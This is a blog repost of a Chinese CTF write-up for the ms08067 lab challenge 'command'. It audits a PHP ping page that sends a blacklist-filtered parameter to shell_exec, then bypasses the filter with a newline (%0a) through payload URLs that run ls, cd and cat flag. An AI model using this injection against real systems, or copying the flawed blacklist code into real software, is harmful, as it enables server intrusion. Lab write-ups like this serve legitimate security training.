今天換個網站繼續搞簡單題,
題目來自ms08067實驗室
題目:command
描述:無
思路:

先是一段代碼審計,是一段PHP代碼,
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
先是一個一個函式,接受一個$_REQUEST型別的變數,
這里百度一下,知道這玩意是$_POST、$_GET二合一版本,get和post變數它都能接受,
下面代碼就是將傳入的ip引數中的所有管道符和一些特殊符號用‘’替換,
最后,將替換的引數加到‘ping -c 4’ 后面當做shell指令執行,
并且輸出執行結果,
很明顯是一道注入題,要想辦法繞過檢測,
先用回送地址 http://106.52.110.188:21229/?ip=127.0.0.1 測驗一下

沒問題就是ping了4次,
接下來想辦法來注入,首先它過濾了幾個符號,
所以http://106.52.110.188:21229/?ip=127.0.0.1&ls或者http://106.52.110.188:21229/?ip=127.0.0.1;ls都沒用,
上網百度一波,知道有個符號沒過濾,
%0a 代表 換行符號
輸入http://106.52.110.188:21229/?ip=127.0.0.1%0als
shell指令執行的時候就是兩句:
ping -c 4 127.0.0.1
ls

看到該檔案夾下檔案串列,只有一個index.php
嘗試回傳到上一級目錄,
http://106.52.110.188:21229/?ip=127.0.0.1%0acd%20..%0als

繼續回傳,

還是沒找到,繼續回傳上一級試試,

看到了flag檔案,不知道是檔案夾還是檔案,先cd進去試試.
沒反應,直接cat試試,
http://106.52.110.188:21229/?ip=127.0.0.1%0acd%20../../..%0acat%20flag

到手啦
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/211561.html
標籤:其他
下一篇:二、測驗用例
